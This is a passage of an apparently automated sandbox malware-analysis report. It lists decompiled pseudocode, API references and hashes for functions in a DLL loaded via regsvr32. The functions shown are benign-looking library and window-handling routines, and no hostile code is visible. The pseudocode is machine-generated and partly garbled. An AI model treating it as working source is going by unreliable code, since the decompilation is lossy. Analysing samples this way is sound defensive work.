				asm("movss [esp+0x38], xmm0");
				if((dil & 0x00000008) == 0 || bpl >= 0) {
					__eflags = dil & 0x00000004;
					if(__eflags == 0) {
						L6:
						__eflags = dil & 0x00000001;
						if(__eflags == 0) {
							L9:
							__eflags = dil & 0x00000002;
							if(__eflags != 0) {
								asm("dec eax");
								if(__eflags < 0) {
									__eflags = dil & 0x00000010;
									if((dil & 0x00000010) != 0) {
										_t64 = 0x10;
										E10044650(_t63, _t89);
									}
									_t63 = _t63 & 0xfffffffd;
									__eflags = _t63;
								}
							}
							goto L14;
						}
						asm("dec eax");
						if(__eflags >= 0) {
							goto L9;
						}
						_t64 = 8;
						E10044650(_t63, _t89);
						_t63 = _t63 & 0xfffffffe;
						goto L14;
					}
					asm("dec eax");
					if(__eflags >= 0) {
						goto L6;
					} else {
						_t64 = 4;
						E10044650(_t63, _t89);
						_t63 = _t63 & 0xfffffffb;
						goto L14;
					}
				} else {
					_t64 = 1;
					E10044650(_t63, __rcx);
					_t63 = _t63 & 0xfffffff7;
					L14:
					_t74 = dil & 0x00000010;
					if(_t74 != 0) {
						asm("dec eax");
						if(_t74 < 0) {
							_t64 = 0x20;
							E10044650(_t63, _t89);
							_t63 = _t63 & 0xffffffef;
						}
					}
					asm("movdqa [esp+0xf0], xmm6");
					asm("movss xmm6, [esp+0x178]");
					_t88 = _v8;
					if(_t63 != 0) {
						if(_a72 == 2) {
							asm("movss [esp+0xa0], xmm6");
							_v136 = _v136 & 0xffffffe1 | 0x00000001;
						}
						_t96 =  &_v264;
						_v272 =  &_v256;
						_t84 =  &_a56;
						r9d = r12d;
						r8d = _t70;
						_v280 =  &_a56;
						E100444F0();
					}
					_t98 = _v32;
					if( *0x100b2f40 != 0 || _t71 == 0) {
						_t64 = _t71;
						E10044520(_t71, _t84);
						E10044590(_t63, _t70, _t88, _v264, _t96, _t98, _t99);
						asm("movss xmm0, [esp+0x38]");
					} else {
						asm("cvtss2sd xmm0, [esp+0x170]");
						asm("cvtss2sd xmm1, xmm6");
						_v248 = _t71;
						_v240 = _t111;
						asm("movsd [esp+0x50], xmm0");
						asm("cvtss2sd xmm0, [esp+0x38]");
						asm("movsd [esp+0x58], xmm1");
						asm("movsd [esp+0x60], xmm0");
						E10044590(_t63, _t70, _t88, _v264, _t96, _t98, _t99);
						if(E10051D50() == 0) {
							_t64 = _t71;
							E10044520(_t71, _t84);
						}
						asm("cvtsd2ss xmm0, [esp+0x60]");
					}
					asm("movdqa xmm6, [esp+0xf0]");
					return E1002FF40(_t64, _v88 ^ _t104);
				}
			}

0x10038220
0x10038220
0x10038220
0x10038220
0x1003822a
0x10038231
0x10038234
0x1003823c
0x10038240
0x10038244
0x10038248
0x1003824c
0x10038250
0x10038254
0x10038257
0x1003825a
0x10038264
0x1003826a
0x1003826f
0x10038276
0x1003827b
0x10038281
0x1003828c
0x1003828f
0x10038299
0x100382af
0x100382b3
0x100382cd
0x100382cd
0x100382d1
0x100382eb
0x100382eb
0x100382ef
0x100382f1
0x100382f8
0x100382fa
0x100382fe
0x10038300
0x10038305
0x10038305
0x1003830a
0x1003830a
0x1003830a
0x100382f8
0x00000000
0x100382ef
0x100382d3
0x100382da
0x00000000
0x00000000
0x100382dc
0x100382e1
0x100382e6
0x00000000
0x100382e6
0x100382b5
0x100382bc
0x00000000
0x100382be
0x100382be
0x100382c3
0x100382c8
0x00000000
0x100382c8
0x100382a0
0x100382a0
0x100382a5
0x100382aa
0x1003830d
0x1003830d
0x10038311
0x10038313
0x10038318
0x1003831a
0x1003831f
0x10038324
0x10038324
0x10038318
0x10038327
0x10038330
0x10038343
0x1003834b
0x10038355
0x1003835e
0x1003836d
0x1003836d
0x10038379
0x10038383
0x10038388
0x10038390
0x10038393
0x10038396
0x1003839b
0x1003839b
0x100383af
0x100383b7
0x10038417
0x10038419
0x10038428
0x1003842d
0x100383bd
0x100383bd
0x100383cb
0x100383d4
0x100383d8
0x100383dd
0x100383e3
0x100383e9
0x100383ef
0x100383f5
0x10038406
0x10038408
0x1003840a
0x1003840a
0x1003840f
0x1003840f
0x10038433
0x10038463
0x10038463

APIs

_set_statfp.LIBCMT ref: 100382A5
_set_statfp.LIBCMT ref: 100382C3
_set_statfp.LIBCMT ref: 100382E1
_set_statfp.LIBCMT ref: 1003831F
_raise_excf.LIBCMT ref: 1003839B

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: _set_statfp$_raise_excf
String ID:
API String ID: 1150742338-0
Opcode ID: 476f3bb5de7dc5c394b33218c83f4a06212e2090ea5527aaba1091b5ae89c96d
Instruction ID: ed2bbc19b56620fb1100fa74422f8d311ac444261c3f2e740b7b057880105540
Opcode Fuzzy Hash: 476f3bb5de7dc5c394b33218c83f4a06212e2090ea5527aaba1091b5ae89c96d
Instruction Fuzzy Hash: 17518D36618FC18AC762CB11F4413AFB3A1FB89790F510265FB9A4AB99DF38D641CB40

Uniqueness

Uniqueness Score: -1.00%

Function 10020C28 Relevance: 9.1, APIs: 6, Instructions: 121windowCOMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 10020C92
GetWindow.USER32 ref: 10020C9E
IsWindowEnabled.USER32 ref: 10020CB3
SendMessageA.USER32 ref: 10020CE8
EnableWindow.USER32 ref: 10020CF8
GetWindow.USER32 ref: 10020D1B

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$DesktopEnableEnabledMessageSend
String ID:
API String ID: 1626031737-0
Opcode ID: 0359d7e18478d917b3e4964e110ef09562f91f4e7bee158a6ee0299afcec7310
Instruction ID: 143f9885106f96d41b7914e3b944bee58bc7f8f6630152822929f12a49845384
Opcode Fuzzy Hash: 0359d7e18478d917b3e4964e110ef09562f91f4e7bee158a6ee0299afcec7310
Instruction Fuzzy Hash: 63412B31202B8142EE55DB61BC5935D6291FF89BE4F550234FEAE87BA6DF78E881C300

Uniqueness

Uniqueness Score: -1.00%

Function 1001DD04 Relevance: 9.1, APIs: 6, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E1001DD04(void* __ebx, void* __edx, void* __esi, long long __rax, long long __rcx, long long* __rdx, void* __r8, void* __r9, void* __r11) {
				int _t5;
				long long _t15;
				long long _t25;
				long long _t26;
				long long _t28;
				long long _t39;
				long long* _t40;
				long long _t41;

				_t25 = __rax;
				_t40 = __rdx;
				_t41 = __rcx;
				_t28 = __rcx;
				if(__rcx != 0) {
					goto L10;
				} else {
					_t5 = E10019FEC(__ebx, __edx, __esi, __rax, __r8, __r9, __r11);
					_t28 =  *((intOrPtr*)(__rax + 0x158));
					if(_t28 == 0) {
						E1001CB9C(__rax);
						if(_t25 == 0) {
							_t5 = 0;
						} else {
							_t5 =  *((intOrPtr*)( *_t25 + 0xe8))();
						}
						if(_t25 != 0) {
							_t28 =  *((intOrPtr*)(_t25 + 0x40));
							goto L9;
						} else {
						}
					} else {
						_t28 =  *((intOrPtr*)(_t28 + 0x40));
						L9:
						_t15 = _t28;
						if(_t15 != 0) {
							while(1) {
								L10:
								_t5 = GetWindowLongA();
								asm("bt eax, 0x1e");
								if(_t15 >= 0) {
									goto L12;
								}
								_t5 = GetParent();
								_t28 = _t25;
								if(_t25 != 0) {
									continue;
								}
								goto L12;
							}
						}
					}
				}
				L12:
				_t39 = _t28;
				_t26 = _t28;
				if(_t28 != 0) {
					do {
						_t39 = _t26;
						_t5 = GetParent(??);
					} while (_t26 != 0);
				}
				if(_t41 == 0 && _t28 != 0) {
					_t5 = GetLastActivePopup();
					_t28 = _t26;
				}
				if(_t40 != 0) {
					if(_t39 == 0) {
						L22:
						 *_t40 = 0;
					} else {
						_t5 = IsWindowEnabled();
						if(_t5 == 0 || _t39 == _t28) {
							goto L22;
						} else {
							 *_t40 = _t39;
							_t5 = EnableWindow(??, ??);
						}
					}
				}
				return _t5;
			}

0x1001dd04
0x1001dd10
0x1001dd13
0x1001dd16
0x1001dd19
0x00000000
0x1001dd1b
0x1001dd1b
0x1001dd20
0x1001dd2a
0x1001dd32
0x1001dd3a
0x1001dd4a
0x1001dd3c
0x1001dd42
0x1001dd42
0x1001dd4f
0x1001dd55
0x00000000
0x1001dd51
0x1001dd51
0x1001dd2c
0x1001dd2c
0x1001dd59
0x1001dd59
0x1001dd5c
0x1001dd5e
0x1001dd5e
0x1001dd66
0x1001dd6c
0x1001dd70
0x00000000
0x00000000
0x1001dd75
0x1001dd7e
0x1001dd81
0x00000000
0x00000000
0x00000000
0x1001dd81
0x1001dd5e
0x1001dd5c
0x1001dd2a
0x1001dd83
0x1001dd86
0x1001dd89
0x1001dd8c
0x1001dd8e
0x1001dd91
0x1001dd94
0x1001dd9a
0x1001dd8e
0x1001dda2
0x1001ddac
0x1001ddb2
0x1001ddb2
0x1001ddb8
0x1001ddbd
0x1001dde1
0x1001dde1
0x1001ddbf
0x1001ddc2
0x1001ddca
0x00000000
0x1001ddd1
0x1001ddd6
0x1001ddd9
0x1001ddd9
0x1001ddca
0x1001ddbd
0x1001ddf3

APIs

GetWindowLongA.USER32 ref: 1001DD66
GetParent.USER32 ref: 1001DD75
GetParent.USER32 ref: 1001DD94
GetLastActivePopup.USER32 ref: 1001DDAC
IsWindowEnabled.USER32 ref: 1001DDC2
EnableWindow.USER32 ref: 1001DDD9

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: 8716fa7c455b11172212575381b4a7f20c8360c869d47deec05e563fc3ac20f7
Instruction ID: ed68424b85b6f54f1889b3a9bd4ca9b5229e58a8672fe486667f0ab92aee711c
Opcode Fuzzy Hash: 8716fa7c455b11172212575381b4a7f20c8360c869d47deec05e563fc3ac20f7
Instruction Fuzzy Hash: B3212921306A4181EE8AFF26B9543A853A1EB89FD5F4D4536DE4D4F714EE38D8C1A210

Uniqueness

Uniqueness Score: -1.00%

Function 10023134 Relevance: 9.1, APIs: 6, Instructions: 69
windowCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E10023134(void* __ebx, char* __rax, intOrPtr* __rcx, intOrPtr* __rdx, void* __r8, void* __r9, void* __r11) {
				void* _v84;
				char _v96;
				void* _v120;
				void* _v128;
				char _v136;
				void* _v148;
				void* _v152;
				void* _v156;
				void* _v164;
				void* _v168;
				void* __rbx;
				intOrPtr _t36;
				intOrPtr _t45;
				void* _t49;
				char* _t53;
				char* _t55;
				char* _t67;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t53 = __rax;
				_t71 = __rcx;
				_t70 = __rdx;
				_t49 = r9d;
				E1000F6E8(__ebx,  &_v136, __rdx, __r8, __r11);
				r9d = 0;
				r8d = 0;
				SendMessageA(??, ??, ??, ??);
				if(_t53 != 0) {
					SelectObject();
					_t55 = _t53;
				}
				_t67 =  &_v96;
				GetTextMetricsA(??, ??);
				_t51 = _t55;
				if(_t55 != 0) {
					_t67 = _t55;
					SelectObject(??, ??);
				}
				E1000F770(_t51, _t55,  &_v136, _t67);
				SetRectEmpty(??);
				r8d = _t49;
				 *((intOrPtr*)( *_t71 + 0x280))();
				r8d = 0;
				 *((intOrPtr*)( *_t71 + 0x220))();
				 *_t70 = 0x7fff;
				GetSystemMetrics(??);
				_t36 = _t53 + _t71 - 1;
				_t45 =  *((intOrPtr*)(_t71 + 0x100));
				 *((intOrPtr*)(_t70 + 4)) = _t36;
				if(_t36 < _t45) {
					 *((intOrPtr*)(_t70 + 4)) = _t45;
				}
				return _t36;
			}

0x10023134
0x10023140
0x10023143
0x1002314d
0x10023150
0x10023159
0x10023160
0x10023163
0x1002316e
0x10023178
0x1002317e
0x1002317e
0x10023186
0x1002318b
0x10023191
0x10023194
0x1002319b
0x1002319e
0x1002319e
0x100231a9
0x100231b3
0x100231c1
0x100231c7
0x100231d6
0x100231e1
0x100231f5
0x100231fb
0x10023211
0x10023215
0x1002321d
0x10023220
0x10023222
0x10023222
0x10023233

APIs

Part of subcall function 1000F6E8: GetDC.USER32 ref: 1000F730

SendMessageA.USER32 ref: 10023163
SelectObject.GDI32 ref: 10023178
GetTextMetricsA.GDI32 ref: 1002318B
SelectObject.GDI32 ref: 1002319E
SetRectEmpty.USER32 ref: 100231B3
GetSystemMetrics.USER32 ref: 100231FB

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: MetricsObjectSelect$EmptyMessageRectSendSystemText
String ID:
API String ID: 3146435517-0
Opcode ID: 1ea9784f1263b3a6804bbef16111999b4cf1fd2b527a0e51aa31a09fc733131f
Instruction ID: 5a3c367c115d321fb1c7653ab532d198c5f259789a093657eaef9b1f01bb542b
Opcode Fuzzy Hash: 1ea9784f1263b3a6804bbef16111999b4cf1fd2b527a0e51aa31a09fc733131f
Instruction Fuzzy Hash: E0213936715A4187EB10CF25F994B9EB7A0FB89B84F448025EB8E47B58DE78D949CB00

Uniqueness

Uniqueness Score: -1.00%

Function 1001D790 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 139registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32 ref: 1001D8FA
RegEnumKeyA.ADVAPI32 ref: 1001D916
RegCloseKey.ADVAPI32 ref: 1001D935
RegQueryValueA.ADVAPI32 ref: 1001D94D

Strings

Software\, xrefs: 1001D84F

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: CloseEnumOpenQueryValue
String ID: Software\
API String ID: 3984146545-964853688
Opcode ID: a778179af771126d01a918f886b70d6bf82f5f65697ad8e84b6a52daae52624d
Instruction ID: fa243c43a39e092e457d4da095c1172b7f3e2108665b16bcd8c7f6342884deec
Opcode Fuzzy Hash: a778179af771126d01a918f886b70d6bf82f5f65697ad8e84b6a52daae52624d
Instruction Fuzzy Hash: 08517376315A8582DB40EF25E84078E73A1FB85BE4F445222EA6E8B7E8DF7CD485C740

Uniqueness

Uniqueness Score: -1.00%

Function 1003C5D0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E1003C5D0(signed long long __rax, long long __rbx, signed char* __rcx, signed char* __rdx, long long __rdi, long long __rsi, long long* __r9, long long __r12, long long __r13, long long __r14) {
				signed char _t30;
				signed int _t31;
				intOrPtr _t34;
				intOrPtr _t44;
				intOrPtr _t48;
				signed int _t49;
				signed int _t50;
				signed long long _t57;
				signed char* _t60;
				long long _t66;
				long long _t70;
				long long* _t71;
				void* _t73;
				signed char* _t79;
				long long _t81;
				void* _t83;

				_t81 = __r14;
				_t76 = __r12;
				_t75 = __r9;
				_t68 = __rsi;
				_t66 = __rdi;
				_t64 = __rdx;
				_t62 = __rcx;
				_t57 = __rax;
				 *((long long*)(_t73 + 0x60)) = __rbx;
				 *((long long*)(_t73 + 0x68)) = _t70;
				 *((long long*)(_t73 + 0x70)) = __rsi;
				_t49 =  *0x100b8564; // 0x0
				 *((long long*)(_t73 + 0x50)) = __r12;
				 *((long long*)(_t73 + 0x48)) = __r13;
				 *((long long*)(_t73 + 0x40)) = __r14;
				r14d = 0;
				_t71 = __r9;
				r10d = r14d;
				r11d = r14d;
				r12d = r8d;
				_t60 = __rdx;
				_t79 = __rcx;
				r9d = r14d;
				if( *__rdx == 0x20) {
					do {
						_t60 =  &(_t60[1]);
					} while ( *_t60 == 0x20);
				}
				_t30 =  *_t60;
				 *((long long*)(_t73 + 0x78)) = _t66;
				if(_t30 == 0x61) {
					_t48 = 0x109;
					_t50 = _t49 | 0x00000002;
					goto L10;
				} else {
					if(_t30 == 0x72) {
						_t48 = r14d;
						_t50 = _t49 | 0x00000001;
						goto L10;
					} else {
						if(_t30 == 0x77) {
							_t48 = 0x301;
							_t50 = _t49 | 0x00000002;
							L10:
							_t60 =  &(_t60[_t64]);
							_t31 =  *_t60 & 0x000000ff;
							if(_t31 == 0) {
								L25:
								while( *_t60 == 0x20) {
									_t60 =  &(_t60[1]);
								}
								if( *_t60 != r14b) {
									goto L5;
								} else {
									r9d = r12d;
									r8d = _t48;
									 *((intOrPtr*)(_t73 + 0x20)) = 0x180;
									if(E10048BC0(_t73 + 0x30, _t79) != 0) {
										goto L6;
									} else {
										 *0x100b8050 =  *0x100b8050 + 1;
										_t34 =  *((intOrPtr*)(_t73 + 0x30));
										 *(_t71 + 0x18) = _t50;
										 *((intOrPtr*)(_t71 + 0x1c)) = _t34;
										 *((intOrPtr*)(_t71 + 8)) = r14d;
										 *_t71 = _t81;
										 *((long long*)(_t71 + 0x10)) = _t81;
										 *((long long*)(_t71 + 0x28)) = _t81;
									}
								}
							} else {
								if(1 == 0) {
									if(r11d == 0) {
										goto L25;
									} else {
										while( *_t60 == 0x20) {
											_t60 =  &(_t60[1]);
										}
										_t62 = 0x1009c2c8;
										r8d = 4;
										_t64 = _t60;
										if(E10049190(_t44, _t57, _t60, 0x1009c2c8, _t60, _t66, _t68, 0x10000000, _t75, _t76, _t79) != 0) {
											goto L5;
										} else {
											_t60 =  &(_t60[4]);
											_t64 = 0x1009c2d0;
											_t62 = _t60;
											if(E10048F50(_t44, _t50, _t60, _t60, 0x1009c2d0, _t66, _t68, _t71, 0x10000000, _t76, _t79, _t81, _t83) != 0) {
												_t64 = "UTF-16LE";
												_t62 = _t60;
												if(E10048F50(_t44, _t50, _t60, _t60, "UTF-16LE", _t66, _t68, _t71, 0x10000000, _t76, _t79, _t81, _t83) != 0) {
													_t64 = "UNICODE";
													_t62 = _t60;
													if(E10048F50(_t44, _t50, _t60, _t60, "UNICODE", _t66, _t68, _t71, 0x10000000, _t76, _t79, _t81, _t83) != 0) {
														goto L5;
													} else {
														_t60 =  &(_t60[7]);
														asm("bts edi, 0x10");
														goto L25;
													}
												} else {
													_t60 =  &(_t60[8]);
													asm("bts edi, 0x11");
													goto L25;
												}
											} else {
												_t60 =  &(_t60[5]);
												asm("bts edi, 0x12");
												goto L25;
											}
										}
									}
								} else {
									if(_t31 + 0xffffffe0 > 0x54) {
										goto L5;
									} else {
										_t44 =  *((intOrPtr*)(0x10000000 + 0x3c8c4 + _t57 * 4));
										_t62 =  &(_t62[0x10000000]);
										goto __rcx;
									}
								}
							}
						} else {
							L5:
							E10032420(_t57);
							r9d = 0;
							r8d = 0;
							 *((long long*)(_t73 + 0x20)) = _t81;
							 *_t57 = 0x16;
							E10034370(_t60, _t62, _t64, _t66, _t68, _t71, 0x10000000);
							L6:
							_t34 = 0;
						}
					}
				}
				return _t34;
			}

0x1003c5d0
0x1003c5d0
0x1003c5d0
0x1003c5d0
0x1003c5d0
0x1003c5d0
0x1003c5d0
0x1003c5d0
0x1003c5d4
0x1003c5d9
0x1003c5de
0x1003c5e3
0x1003c5e9
0x1003c5ee
0x1003c5f3
0x1003c5f8
0x1003c5fe
0x1003c601
0x1003c604
0x1003c607
0x1003c60a
0x1003c60d
0x1003c610
0x1003c613
0x1003c615
0x1003c615
0x1003c619
0x1003c615
0x1003c61e
0x1003c620
0x1003c627
0x1003c669
0x1003c66e
0x00000000
0x1003c629
0x1003c62b
0x1003c661
0x1003c664
0x00000000
0x1003c62d
0x1003c62f
0x1003c657
0x1003c65c
0x1003c671
0x1003c676
0x1003c679
0x1003c67e
0x1003c833
0x1003c836
0x1003c840
0x1003c844
0x1003c84c
0x00000000
0x1003c852
0x1003c857
0x1003c85a
0x1003c860
0x1003c86f
0x00000000
0x1003c875
0x1003c875
0x1003c87c
0x1003c880
0x1003c883
0x1003c886
0x1003c88a
0x1003c891
0x1003c895
0x1003c895
0x1003c86f
0x1003c684
0x1003c692
0x1003c7a5
0x00000000
0x1003c7ab
0x1003c7ae
0x1003c7b0
0x1003c7b4
0x1003c7b9
0x1003c7c0
0x1003c7c6
0x1003c7d0
0x00000000
0x1003c7d6
0x1003c7d6
0x1003c7da
0x1003c7e1
0x1003c7eb
0x1003c7f7
0x1003c7fe
0x1003c808
0x1003c814
0x1003c81b
0x1003c825
0x00000000
0x1003c82b
0x1003c82b
0x1003c82f
0x00000000
0x1003c82f
0x1003c80a
0x1003c80a
0x1003c80e
0x00000000
0x1003c80e
0x1003c7ed
0x1003c7ed
0x1003c7f1
0x00000000
0x1003c7f1
0x1003c7eb
0x1003c7d0
0x1003c698
0x1003c6a1
0x00000000
0x1003c6a3
0x1003c6ae
0x1003c6b6
0x1003c6b9
0x1003c6b9
0x1003c6a1
0x1003c692
0x1003c631
0x1003c631
0x1003c631
0x1003c636
0x1003c639
0x1003c640
0x1003c645
0x1003c64b
0x1003c650
0x1003c650
0x1003c650
0x1003c62f
0x1003c62b
0x1003c8c0

Strings

ccs=, xrefs: 1003C7B9
UTF-8, xrefs: 1003C7DA
UTF-16LE, xrefs: 1003C7F7
UNICODE, xrefs: 1003C814

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID: UNICODE$UTF-16LE$UTF-8$ccs=
API String ID: 0-2506416105
Opcode ID: 4443079761c9f1f098b4a1ddf1bff4a70942171fa841944aa0229f2ca95db4ab
Instruction ID: 7d426cecae80e083ec0f6ff4e6acaaefb117debec67ae30c0ab435be2ebca215
Opcode Fuzzy Hash: 4443079761c9f1f098b4a1ddf1bff4a70942171fa841944aa0229f2ca95db4ab
Instruction Fuzzy Hash: 1C51067AA047C48EE712CF22E800B5E7BE1F785BC9F586021EE8997729DB79C551CB00

Uniqueness

Uniqueness Score: -1.00%

Function 1001AD78 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E1001AD78(void* __ecx, void* __eflags, void* __rax, void* __rcx, void* __rdx, void* __r8, void* __r9) {
				void* _t26;
				void* _t27;
				void* _t39;
				void* _t41;

				_t41 = __r9;
				_t26 = __rax;
				_t27 = __rdx;
				_t39 = __rcx;
				if(E10011710(__rax, __rcx, __rdx, __r8) == 0) {
					E1001522C(_t39);
					if(_t26 == 0 ||  *((intOrPtr*)(_t26 + 0xc4)) == 0) {
						if( *((intOrPtr*)(_t27 + 8)) != 0x100 ||  *((long long*)(_t27 + 0x10)) != 0x1b &&  *((long long*)(_t27 + 0x10)) != 3 || (GetWindowLongA() & 0x00000004) == 0 || E10029DF8(0x10098be0, _t41) == 0) {
							L13:
							return E10011E90(_t27);
						} else {
							GetDlgItem();
							if(_t26 == 0 || IsWindowEnabled() != 0) {
								r9d = 0;
								_t9 = _t41 + 2; // 0x2
								r8d = _t9;
								SendMessageA(??, ??, ??, ??);
								goto L1;
							} else {
								goto L13;
							}
						}
					} else {
						return 0;
					}
				}
				L1:
				return 1;
			}

0x1001ad78
0x1001ad78
0x1001ad7f
0x1001ad82
0x1001ad8c
0x1001ad9b
0x1001ada3
0x1001adbc
0x1001ae2d
0x00000000
0x1001adf1
0x1001adfa
0x1001ae03
0x1001ae16
0x1001ae1e
0x1001ae1e
0x1001ae22
0x00000000
0x00000000
0x00000000
0x00000000
0x1001ae03
0x1001adae
0x00000000
0x1001adae
0x1001ada3
0x1001ad8e
0x00000000

Strings

Edit, xrefs: 1001ADE1

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID: Edit
API String ID: 0-554135844
Opcode ID: 268aab10db7914efb16493e9fada12c38dc16d91d8bce32f585cd31377551b81
Instruction ID: 022568e75bd01bd5081a35340aa6c37ae9c3c740ac3c7aa3eb58dab1f426daa3
Opcode Fuzzy Hash: 268aab10db7914efb16493e9fada12c38dc16d91d8bce32f585cd31377551b81
Instruction Fuzzy Hash: 12118C72300A0182EB15CB21E9943AD23E0FB8ABC5F544425CE0B8FA94DF79C8C5C711

Uniqueness

Uniqueness Score: -1.00%

Function 1001ED14 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E1001ED14(void* __ecx, signed int __edx, void* __eflags, void* __rax, void* __rcx, void* __rdx, void* __r8, void* __r11) {
				signed int _t11;
				void* _t12;
				void* _t25;
				void* _t26;
				void* _t33;
				void* _t34;
				void* _t35;
				void* _t38;

				_t38 = __r11;
				_t25 = __rax;
				_t13 = __edx;
				_t12 = __ecx;
				_t34 = __r8;
				_t35 = __rdx;
				_t33 = __rcx;
				_t11 = __edx & 0x0000ffff;
				E1001522C(__rcx);
				if(_t25 == 0) {
					E1000E3A4();
					asm("int3");
				}
				if( *((intOrPtr*)(_t25 + 0xc4)) == 0 || _t34 != 0 || _t11 == 0xe146 || _t11 == 0xe147 || _t11 == 0xe145) {
					return E10015E30(_t12, _t13, _t25, _t33, _t35, _t34, _t38);
				} else {
					r9d = _t26 + 0x10000;
					r8d = 0;
					SendMessageA(??, ??, ??, ??);
					if(_t25 == 0) {
						r9d = 0;
						r8d = 0xe147;
						SendMessageA(??, ??, ??, ??);
					}
					return 1;
				}
			}

0x1001ed14
0x1001ed14
0x1001ed14
0x1001ed14
0x1001ed1d
0x1001ed20
0x1001ed23
0x1001ed26
0x1001ed29
0x1001ed31
0x1001ed33
0x1001ed38
0x1001ed38
0x1001ed40
0x00000000
0x1001ed5f
0x1001ed63
0x1001ed6a
0x1001ed72
0x1001ed7b
0x1001ed81
0x1001ed89
